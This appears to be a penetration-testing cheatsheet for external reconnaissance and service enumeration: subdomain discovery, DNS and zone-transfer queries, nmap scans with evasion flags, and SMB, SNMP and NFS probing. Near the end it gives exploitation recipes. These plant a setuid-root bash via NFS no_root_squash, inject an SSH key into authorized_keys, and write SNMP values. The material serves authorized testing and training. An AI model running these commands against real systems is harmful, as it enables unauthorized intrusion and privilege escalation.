Cheatsheet
Certificate Transparency
# subdomains from crt.sh
curl -s "https://crt.sh/?q=TARGET.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
# alternative — assetfinder, subfinder, amass
subfinder -d TARGET.com -silent
amass enum -passive -d TARGET.com
assetfinder --subs-only TARGET.com
ASN / Netblock Lookup
whois -h whois.cymru.com "-v IP"
whois -h whois.radb.net -- '-i origin ASxxxxx' | grep -Eo "([0-9.]+){4}/[0-9]+"
Subdomain Brute Force
gobuster dns -d TARGET.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
puredns bruteforce subdomains.txt TARGET.com -r resolvers.txt
vHost Fuzzing
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ \
-u http://IP -H "Host: FUZZ.TARGET.com" -fs < baseline_siz e >
DNS Queries
dig A TARGET.com
dig MX TARGET.com
dig TXT TARGET.com
dig NS TARGET.com
dig ANY TARGET.com
dig @8.8.8.8 TARGET.com
dig +short MX TARGET.com
# zone transfer attempt
dig axfr @ns1.TARGET.com TARGET.com
# reverse DNS
dnsrecon -r 10.0.0.0/24
for ip in $( seq 1 254 ); do host 10.0.0. $ip | grep "name pointer" ; done
Nmap — Core Scans
# all ports, fast
nmap -p- --min-rate=5000 TARGET -oN all-ports.nmap
# service detection on open ports
nmap -p 22,80,443 -sC -sV TARGET -oN services.nmap
# UDP top ports
nmap -sU --top-ports 100 TARGET
# aggressive
nmap -A TARGET
# specific scripts
nmap --script "smb-*" -p 445 TARGET
nmap --script "http-*" -p 80 TARGET
nmap --script vuln TARGET
Nmap — Evasion
nmap -T2 TARGET # slow timing
nmap -f TARGET # fragment packets
nmap --source-port 53 TARGET # source port
nmap -D RND:10 TARGET # decoys
nmap -sI zombie TARGET # idle scan
HTTP Fingerprinting
whatweb -a 3 http://TARGET
curl -sI http://TARGET
nikto -h http://TARGET
wappalyzer http://TARGET
httpx -silent -tech-detect -status-code -title -l hosts.txt
SMB Enumeration
smbclient -L //TARGET -N
enum4linux -a TARGET
crackmapexec smb TARGET
nmap --script smb-enum-shares TARGET
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt TARGET
onesixtyone -c strings.txt -i hosts.txt -o results.txt
SNMP — Enumerate
# all data (snmpwalk — slow but readable)
snmpwalk -v2c -c public TARGET
# specific OIDs
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.1 # system info
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.25.4.2.1.2 # processes
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.25.6.3.1.2 # installed software
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.2.2.1.2 # interfaces
snmpwalk -v2c -c public TARGET 1.3.6.1.4.1.77.1.2.25 # Windows users
# fast mass scan — braa
braa public@TARGET:.1.3.6. *
snmpset -v2c -c private TARGET 1.3.6.1.2.1.1.5.0 s "newhostname"
NFS Discovery
nmap -p 111,2049 TARGET
nmap --script nfs- * -p 2049 TARGET
showmount -e TARGET
NFS Mount & Read
sudo mkdir /mnt/target
sudo mount -t nfs TARGET:/share /mnt/target
sudo mount -t nfs -o vers= 3 TARGET:/share /mnt/target
ls -lan /mnt/target
NFS — no_root_squash Exploit
# as root on client
cp /bin/bash /mnt/target/pwn
chown root:root /mnt/target/pwn
chmod u+s /mnt/target/pwn
# as any user on server
./pwn -p
whoami # root
NFS — SSH Key Injection
ssh-keygen -t ed25519 -f victim_key -N ""
mkdir -p /mnt/target/.ssh
cat victim_key.pub >> /mnt/target/.ssh/authorized_keys
chmod 600 /mnt/target/.ssh/authorized_keys
ssh -i victim_key victim@TARGET
Common Useful OIDs
1.3.6.1.2.1.1.1.0 # system description
1.3.6.1.2.1.1.5.0 # hostname
1.3.6.1.2.1.1.3.0 # uptime
1.3.6.1.2.1.25.1.5.0 # Windows users count
1.3.6.1.2.1.25.4.2.1.2 # processes
1.3.6.1.2.1.25.6.3.1.2 # installed software
1.3.6.1.2.1.4.20.1.1 # local IPs
1.3.6.1.2.1.6.13.1.3 # TCP local ports
1.3.6.1.4.1.77.1.2.25 # Windows users
Common DNS Record Query Patterns
# find mail provider
dig +short MX TARGET.com
# find cloud services via TXT
dig +short TXT TARGET.com
dig +short TXT _dmarc.TARGET.com
# find all NS, check each for AXFR
for ns in $( dig +short NS TARGET.com ); do
dig axfr @ $ns TARGET.com
done
Checklist
Layer 1 — Internet Presence
Layer 2 — Gateway
Layer 3 — Accessible Services
DNS Enumeration
vHost Enumeration
SNMP
NFS
SMB (also covered in Attacking Common Services)
Documentation